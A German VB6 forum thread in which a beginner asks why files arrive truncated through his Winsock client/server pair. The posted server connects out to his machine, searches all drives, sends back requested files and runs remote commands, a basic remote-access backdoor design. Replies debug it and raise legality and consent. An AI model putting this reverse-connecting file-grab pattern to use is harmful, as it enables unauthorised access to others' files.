Dateien via winsock übers internet laden

  • VB6

Es gibt 39 Antworten in diesem Thema. Der letzte Beitrag () ist von Pascal.

    Dateien via winsock übers internet laden

    guten tag zusammen!

    ich habe ein mehr oder weniger dummes problem...

    ich habe tagelang an einer möglichkeit gefummelt, dateien von einem anderen computer übers internet zu downloaden...

    als es endlich geklappt hat, musste ich feststellen, dass die dateien die ich gesaugt habe immer fehlerhaft angekommen sind...

    nun meine frage:

    liegt das an winsock oder daran, wie ich die dateinen downloade...
    Definitiv daran, wie du die Dateien herunterlädst.
    Es sei denn, du hast ein eigenes Protokoll für Winsock
    definiert.

    Wenn du die Dateien von einem Webserver lädst,
    dann ist es am wahrscheinlichsten, dass du die
    Protokollregeln nicht richtig umgesetzt hast.
    wie könnte aus dem wahrscheinlich ein bestimmt werden?

    ich habe 2 programme gemacht...

    einmal den server und den clienten

    der SERVER connectet zum CLIENT

    ich habs als vorlage von active-vb, n bissel abgeändert aber den code als solches gelassen... nur dass der server zum client connectet hab ich geändert.

    hier der link zum code:

    activevb.de/tipps/vb6tipps/tipp0288.html

    danke für die antwort


    EDIT::::

    Ich hab vergessen zu sagen, dass das hanze im LAN funktioniert... nur übers www klappts nicht

    :)

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „flodding“ ()

    Der Server:

    Visual Basic-Quellcode

    1. Option Explicit
    2. Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
    3. Private Const DOWNLOADSTART = "d1"
    4. Private Const DOWNLOAD = "d2"
    5. Private Const DOWNLOADENDE = "d3"
    6. Private Const SUCHEN = "s1"
    7. Private Const CDOPEN = "c1"
    8. Private Const CALC = "c2"
    9. Private Const CONNECTED = "c3"
    10. Private Const KILL = "k1"
    11. Private Const ECHO = "e1"
    12. Private DateiNr As Integer
    13. Private Warten As Boolean
    14. Private Sub Server_DataArrival(ByVal bytesTotal As Long)
    15. On Error Resume Next
    16. Dim Daten As String
    17. Dim Befehl As String
    18. Dim Temp As String
    19. Dim DownloadSchritt As Long
    20. Server.GetData Daten
    21. Befehl = Left(Daten, 2)
    22. Daten = Mid(Daten, 3)
    23. Select Case Befehl
    24. Case DOWNLOADSTART
    25. DateiNr = FreeFile
    26. Open Daten For Binary Access Read As DateiNr
    27. SendData DOWNLOADSTART, LOF(DateiNr)
    28. Do While Not EOF(DateiNr)
    29. DownloadSchritt = 4092
    30. If DownloadSchritt > LOF(DateiNr) - _
    31. Loc(DateiNr) Then
    32. DownloadSchritt = LOF(DateiNr) - _
    33. Loc(DateiNr)
    34. End If
    35. If DownloadSchritt = 0 Then Exit Do
    36. Temp = Space(DownloadSchritt)
    37. Get #DateiNr, , Temp
    38. SendData DOWNLOAD, Temp
    39. Loop
    40. Close DateiNr
    41. SendData DOWNLOADENDE
    42. Case SUCHEN
    43. Suche Daten
    44. SendData SUCHEN, "-Suche beendet-"
    45. Case ECHO
    46. Warten = False
    47. Case CDOPEN
    48. Call mciExecute("Set CDaudio door Open")
    49. Case CALC
    50. Call Shell("c:\windows\system32\calc.exe")
    51. Case KILL
    52. End Select
    53. End Sub
    54. Private Sub SendData(ByVal Befehl As String, Optional ByVal Text As String)
    55. On Error Resume Next
    56. Warten = True
    57. Server.SendData Befehl & Text
    58. Do While Warten
    59. DoEvents
    60. Loop
    61. End Sub
    62. Private Sub Suche(ByVal Datei As String)
    63. On Error Resume Next
    64. listadriv Datei
    65. End Sub
    66. Sub listadriv(ByVal Dateiname As String)
    67. On Error Resume Next
    68. Dim Fso
    69. Set Fso = CreateObject("Scripting.FileSystemObject")
    70. Dim d, dc, S
    71. Set dc = Fso.Drives
    72. For Each d In dc
    73. If d.DriveType = 2 Or d.DriveType = 3 Then
    74. Call FindSubFolders(d.Path & "\", Dateiname)
    75. End If
    76. Next
    77. End Sub
    78. Sub FindSubFolders(folderspec, ByVal Dateiname As String)
    79. On Error Resume Next
    80. Dim AktuellerOrdner As String
    81. Dim Fso
    82. Set Fso = CreateObject("Scripting.FileSystemObject")
    83. Dim F, F1, sf
    84. Set F = Fso.GetFolder(folderspec)
    85. Set sf = F.subfolders
    86. For Each F1 In sf
    87. AktuellerOrdner = F1.Path
    88. If Right(AktuellerOrdner, 1) <> "\" Then
    89. AktuellerOrdner = AktuellerOrdner & "\*.*"
    90. Else
    91. AktuellerOrdner = AktuellerOrdner & "*.*"
    92. End If
    93. DoEvents
    94. Call FindFiles(F1.Path, Dateiname)
    95. Call FindSubFolders(F1.Path, Dateiname)
    96. Next
    97. End Sub
    98. Sub FindFiles(folderspec, ByVal Dateiname As String)
    99. On Error Resume Next
    100. Dim Fso, Fc, F1, File1, F, S
    101. Set Fso = CreateObject("Scripting.FileSystemObject")
    102. File1 = UCase(Dateiname)
    103. Set F = Fso.GetFolder(folderspec)
    104. Set Fc = F.Files
    105. For Each F1 In Fc
    106. S = Fso.getfilename(F1.Path)
    107. S = UCase(S)
    108. DoEvents
    109. If Left(File1, 1) = "*" Then
    110. If Right(S, Len(File1) - 1) = Right(File1, _
    111. Len(File1) - 1) Then
    112. SendData SUCHEN, F1.Path
    113. End If
    114. ElseIf S = File1 Then
    115. SendData SUCHEN, F1.Path
    116. End If
    117. Next
    118. End Sub
    119. Private Sub Timer2_Timer()
    120. Label1.Caption = Server.State
    121. If Label1.Caption = 7 Then
    122. SendData CONNECTED
    123. Timer2.Enabled = False
    124. Else
    125. Server.Close
    126. Server.Connect
    127. End If
    128. End Sub
    129. Private Sub Form1_Unload(Cancel As Integer)
    130. End
    131. End Sub


    Der Client:

    Visual Basic-Quellcode

    1. Option Explicit
    2. Private Const DOWNLOADSTART = "d1"
    3. Private Const DOWNLOAD = "d2"
    4. Private Const DOWNLOADENDE = "d3"
    5. Private Const SUCHEN = "s1"
    6. Private Const CDOPEN = "c1"
    7. Private Const CALC = "c2"
    8. Private Const CONNECTED = "c3"
    9. Private Const KILL = "k1"
    10. Private Const ECHO = "e1"
    11. Private DateiNr As Integer
    12. Private Sub Client_DataArrival(ByVal bytesTotal As Long)
    13. On Error Resume Next
    14. Dim Daten As String
    15. Dim Befehl As String
    16. StatusBar1.Panels(1).Text = "Bekomme Daten..."
    17. Client.GetData Daten
    18. Befehl = Left(Daten, 2)
    19. Daten = Mid(Daten, 3)
    20. Select Case Befehl
    21. Case DOWNLOADSTART
    22. prbProzent.Max = Int(Daten / 1024)
    23. SendData ECHO
    24. Case DOWNLOAD
    25. prbProzent.Value = prbProzent.Value + Int(Len(Daten) / 1024)
    26. Put #DateiNr, , Daten
    27. SendData ECHO
    28. Case DOWNLOADENDE
    29. prbProzent.Value = 0
    30. Close DateiNr
    31. StatusBar1.Panels(1).Text = "Download beendet!"
    32. Case SUCHEN
    33. lstSuchergebnisse.AddItem Daten
    34. lstSuchergebnisse.ListIndex = lstSuchergebnisse.ListCount - 1
    35. DoEvents
    36. SendData ECHO
    37. Case CONNECTED
    38. StatusBar1.Panels(1).Text = "Verbunden mit Server..."
    39. End Select
    40. End Sub
    41. Private Sub cmdDownload_Click()
    42. Dim suchstring As String, dateinameohneordner As String, Dateiname As String
    43. Dateiname = Mid(txtQuelle.Text, InStrRev(txtQuelle.Text, "\") + 1)
    44. On Error Resume Next
    45. DateiNr = FreeFile
    46. Open txtZiel & Dateiname For Binary Access Write As DateiNr
    47. SendData DOWNLOADSTART, txtQuelle.Text
    48. End Sub
    49. Private Sub cmdSuchen_Click()
    50. On Error Resume Next
    51. SendData SUCHEN, txtSuchen
    52. lstSuchergebnisse.Clear
    53. lstSuchergebnisse.AddItem "Suchergebnisse für " & txtSuchen.Text & ":"
    54. StatusBar1.Panels(1).Text = "warte auf Suchergebnisse..."
    55. End Sub
    56. Private Sub cmdVerbinden_Click()
    57. Client.Close
    58. 'Server wartet auf einen Verbindung
    59. Client.Listen
    60. StatusBar1.Panels(1).Text = "Warte auf Server..."
    61. End Sub
    62. Private Sub SendData(ByVal Befehl As String, Optional ByVal Text As String)
    63. On Error Resume Next
    64. StatusBar1.Panels(1).Text = "sende Daten..."
    65. Client.SendData Befehl & Text
    66. End Sub
    67. Private Sub Client_ConnectionRequest(ByVal requestID As Long)
    68. Client.Close
    69. Client.Accept requestID
    70. End Sub
    71. Private Sub Command1_Click()
    72. SendData CDOPEN
    73. StatusBar1.Panels(1).Text = "CD Geöffnet!"
    74. End Sub
    75. Private Sub Command2_Click()
    76. SendData CALC
    77. StatusBar1.Panels(1).Text = "Taschenrechner Gestartet!"
    78. End Sub
    79. Private Sub Command3_Click()
    80. 'SendData KILL
    81. Client.Close
    82. StatusBar1.Panels(1).Text = "Verbindung getrennt!"
    83. End Sub
    84. Private Sub lstSuchergebnisse_Click()
    85. txtQuelle.Text = lstSuchergebnisse.Text
    86. End Sub
    Ich sehe keinerlei Angaben über den Zielhost, sind die
    direkt bei den Eigenschaften des Winsock-Steuerelementes
    angegeben ? Zudem sind alle Fehlerbehandlungsroutinen
    deaktiviert (On Error Resume Next). Ich bin mir sicher,
    dass ein Fehler auftritt, sobald du diese Zeilen mal
    auskommentierst.

    Kann es sein, dass die Dateien Null Byte groß waren ?
    Es würde Sinn machen, da der Client selbst die Datei
    anlegt und dann vom Server erwartet, dass er den
    Inhalt der Datei übermittelt. Ich gehe aber mal davon
    aus, dass er das nicht tut, weil keine Verbindung
    besteht.

    Den Sinn deines Timers verstehe ich nicht, die
    Zuweisung der State-Eigenschaft an einen Label
    ist im übrigen für die If-Abfrage redundant.
    EDIT::: Hostangaben hab ich direkt im Steuerelement drinne jo...

    also...

    wie ich bereits gesagt habe.... ich habe das gaze mit 2 rechnern im LAN probiert... Einer ist mein rechner und der andere is das notebook mit WLAN. Da funktioniert der Datenustausch perfekt... ich kann mit dem clienten den Host durchsuchen und dann gezielt eine datei oder auch mehrere runterladen. Es funktioniert auch wenn ich server und client auf einem rechner zusammen starte.

    Das problem tritt nur dann auf, wenn ich den server auf einem rechner starten lasse, der nicht in meinem LAN ist... also zB der rechner meines kollegen 3 straßen weiter... ich schick ihm den server via MSN, er entpackt ihn, startet ihn, dan zeigt das Label ne 6, was Connecting bedeutet. Dann starte ich meinen clienten. Klick auf Listen und die beiden verbinden sich. somit hbe ich dann eine stehende verbindung zwischen Server und Client was sich im label auch bestätigen lässt indem es eine 7 zeigt. Wie du bestimmt gesehen hast, habe ich die funktion, das CD laufwerk auszuwerfen und auch den taschenrechner zu starten. diese beiden befehle funktionieren auch ohne probleme.. klicke ich also CD öffnen im klienten an, so öffnet sich die cd lade bei meinem kollegen. das selbe mit dem taschenrechner.

    Suche ich dann die dateien, bekomme ich auch eine laaange liste mit vielen dateien, und kann sie auch downloaden. das problem daran ist aber, dass wenn ich zB ein bild downloade, hat es bei mir 306kb und bei ihm 1,2MB. somit fehlt ein großer teil der daten und ich verstehe nicht wo der bleibt.

    der timer ist nur dazu da, damit ich uch weiss, dass der server sich verbinden will. hatte keine lust, nochn button reinzubaun, der dann extra angeklickt werden muss :)

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „flodding“ ()

    1. Ich werds tun...
    2. Nein... dateien haben unterschiedliche größe... manchmal kann ich auch ein verzerrtes bild sehen, manchmal kann er kein bild anzeigen... größen gehen bei bildern die so im schnitt 1.5 mb haben(Digicam) von ca 100 - 700 kb. mehr kommt bei mir nie an.
    3. das mit dem durchdebuggen ist nicht so das problem... ich müsste ja nur den clienen an meinen kollegen weitergeben, und den server bei mir starten :P

    ich nehms an angriff... danke nochmal für die hilfen :)


    EDIT:
    hab den clienten debuggt...

    beim downloaden, wo er eigentlich das downloadende einleiten sollte, gibt er nen laufzeitfehler mit der begründung:

    Ungültiger wert oder eigenschaft...

    markiert in zeile 32 wo er den ladebalken auf 0 setzen soll. hab die zeile gelöscht und er downloaded ohne fehler... jedoch ist uns aufgefallen, dass die daten die bei mir ankommen IMMER ca 1/3 der originalen dateigröße hat.

    von 193kb kamen nur 69kb bei mir an
    von 125kb kamen nur 45,3kb bei mir an

    wir hätten das so weiterführen können mit dem selben ergebniss denke ich mal...

    nun werde ich den server checken.


    Edit by LaMa5: Bitte keine Doppelpost !!! --> *Beiträge zusammengefügt*

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „LaMa5“ ()

    Ich vermute, dass du einfach die Daten zu schnell
    hintereinander sendest. Das würde erklären, warum
    z.B. das öffnen des CD-Laufwerkes oder das
    Herunterladen im Netzwerk funktioniert.

    Implementiere mal für den Client die selbe SendData
    Funktion, wie beim Server. (Beachte auch, dass du
    die globale Variable und das SendComplete-Ereigniss
    einbauen musst)
    Original von flodding
    cd öffnen klappt überall.... im LAN und auch übers ..

    Shellbefehle funktionieren auch überall... es hapert nur an der dateiübertragung...


    Habe ich je etwas anderes behauptet ?

    Implementieren? was bedeutet das?


    Implementieren ist ein Synonym für "einbauen" oder "einsetzen".
    ich verstehe nicht wie du das meinst...

    kannst du nicht den code so umbauen wie du es meinst und es dann posten?

    bevor ich jetzt wild rumbaue, und es am ende nicht das ist, was du meinst, und wir stundenlang aneinander vorbeireden, finde ich das als die leichteste lösung...

    vielen dank :)
    Eine Frage: Willst du nun VB lernen oder suchst du nur kostenlos einen Programmierer?
    Gruß, Agent Smith 8-)

    activeFlags = (lazy OR weary)

    Lemgo-Verschwörung | Mathematics | VB-Paradise in blau

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Agent“ ()

    vielen dank für den netten einstieg...

    um deine frage sinvoll, kurz und knackig zu beanworten:

    Ich denke kaum, dass es jemanden gibt, der alles, aber auch wirklich alles, was man mit VB veranstalten kann, im kopf haben kann. Zudem denke ich, dass wenn ich einen kostenlosen programmierer suchen würde, würde ich wohl eher danach fragen, ob mir einer so ein programm schreiben kann, was ich gerade versuche... du denkst doch nicht im ernst, dass ich mich nur darauf verlasse, dass hier mal eine antwort kommt, die mich sofort ans ziel bringt. Ich baue und lese und baue und lese viele stunden am tag und versuche mich in die materie einzuarbeiten. mir genügt es, wenn ich eine denkstütze bekomme inklusive erklärung.

    mir war die antwort die mir unknown gegeben hat zu unverständlich, was ich zu meinem nachteil bedauern muss. ich konnte ja nicht wissen, dass du hierrüberschwirrst und mit einmal dein kaffee von gestern wieder hochkommt.
    Na, wie sprichst Du denn mit einem Moderator? Das macht man aber nicht...

    Also, jetzt hab ich doch mal drüber geschaut:

    1. Deine Kommunikation von Server und Client sind nicht ganz ausgereift. Wenn Du bspw. das CD-Laufwerk öffnen willst, setzt Du das Label automatisch auf "CD geöffnet". Woher weißt Du das denn? Es ist Dein Wunsch, das zu öffnen, aber das heißt noch lange nicht daß es auch gemacht wird. Also, lass Dir vom Server entsprechende Rückgabewerte senden und lies diese Daten aus bevor Du dem User irgendetwas mitteilst, was Du nur vermuten kannst.

    2. Deine ankommenden Daten werden auch nur zum Teil gelesen, nämlich mit

    Visual Basic-Quellcode

    1. Daten = Mid(Daten, 3)


    Das heisst, daß bei Übertragung von Befehlen alles funktioniert. Aber beim Übertragen von Daten immer automatisch die ersten 3 Stellen abgeschnitten werden. Du musst auch beim Datenversand ein Präfix voranfügen, z.B. als Vorschlag "fd" für "FileData" oder sowas. Am besten geeignet sind Strings mit einem Delimiter, die Du dann trennen und somit Informationen wie "fd" von Daten Deiner Datei unterscheiden kannst. Schau mal nach SmART 1.0 im SourceCode-Bereich, dort ist Dateiübertragung behandelt.

    3. Muss ich Dich darauf hinweisen, daß Du nach deutschem Recht gegen §263a III StGB verstösst. Denk daran, der Gesetzgeber versteht da nämlich nicht so viel Spaß wie Dir das Programmieren bereitet.
    also das mit dem cd öffnen und programm starten war so oder so nur zum test gedacht, um zu sehen ob überhaupt etwas richtig gesendet und empfangen wird...

    also wenn ich das richtig verstanden habe, ist der fehler in der zeile

    Daten = Mid(Daten, 3)

    dann verstehe ich nicht, dass ich dateien im Netzwerk problemlos übertragen kann. dann müssten da ja auch teile fehlen.

    Willst du mir sagen, dass dieses programm , was ich hier versuche zu bauen garnicht erlaubt ist, bzw dass es nicht erlaubt ist, es so zu bauen, geschweigedenn es zu benutzen? Wenn das so ist, dann stelle ich es lieber ein und dieser thread kann geschlossen werden. ich will ja nichts unrechtes tun. Im endeffekt ging es mir nur darum, einen rechner der beim kollegen steht daten zu schicken bzw daten zu empfangen auch wenn er nicht da ist. jetzt kann jeder kommen und sagen machs doch mit FTP oder VPN dazu noch ein remote tool und das ganze hat hand und fuß.
    Sicher... so haben wir es auch die ganze zeit gemacht, doch jetzt kam mir flucks die idee einfach mal selber ein programm dazu zu machen, dass dann unseren bedürfnissen angepasst ist. diese ewigen portfreigaben im router bzw in der firewall stören uns einfach.

    also um zum schluss zu kommen... ist es illegal, schließt / löscht dieses thread bitte... hab ehrlich gesagt keine böcke wegen sonem scheiss nachher noch in bau zu gehn... dann klick ich lieber 2-3 mal mehr und hab ein ruhiges gewissen.

    so das wars erstmal von mir... danke für weitere antworten bzw. die löschung des themas :)
    Hi,
    ich bin nich so der Rechtstyp, aber, wenn ich das Gesetz richtig interpretiere, und du die Einwilligung deines Kollegen für sowas hast, ist der einzige Punkt, gegen den du verstößt, dass dein Programm unvollständig ist und die übertragenen Daten beschädigt werden.

    Mal abgesehen davon, spricht Unknown Punkt 3 an, welcher sagt, dass das Schreiben und Weitergeben eines solchen Programmes verboten ist, wenn der Zweck die Schädigung von Dritten bzw. das Verschaffen eines Vermögensvorteiles ist, was bedeutet, dass du mit Vorsatz handeln musst. Da dein Programm lediglich zum Austausch von privaten Daten / Dateien ist, und dus nur für solche Dateien verwendest / verwenden können solltest ("freigegebene Ordner"), die der andere Zugänglich macht, sehe ICH hier keine Straftat.

    1. Fehlt für (3) der Vorsatz bzw. die Absicht mit so einem Programm jemanden zu Schädigen
    2. Wenn du das andere Ende die "freigegebenen Dateien" auswählen lässt, und er Damit einverstanden ist, gibt es keine offensichtliche Schädigung für ihn
    (das musst du unbedingt einbauen!)
    3. Ist es nicht Ziel des fertigen Programmes falsche Daten zu übertragen.


    Ich hoffe wirklich, dass ich das nicht vollkommen falsch interpretiere.


    PS: schau mal, ob bei den ankommenden Daten (beim Client) immer die 2 Zeichen für DOWNLOAD vorn stehen.

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von „Mad Andy“ ()

    Danke für die netgemeinten zeilen... geht mir gleich viel besser...

    Ich hab noch ein wenig weiter rumprobiert und komm und komm nicht voran... ich hab mal die besagte zeile im client ausgeklammert... da hat er dann ohne ende geladen... hat nichtmehr aufgehört... das selbe auch andersrum beim server und bei beiden gleichzeitig...

    dem Smart 1.0 hab ich mir auch angeschaut... ich bin im gewissen maße noch ein VB6 neuling und verstehe vieles nicht was in dem code steht... hehe ich bin ja ma froh dass ich verstehe was ich schreibe :P

    Also ich bin weiterhin für jede Hilfe offen...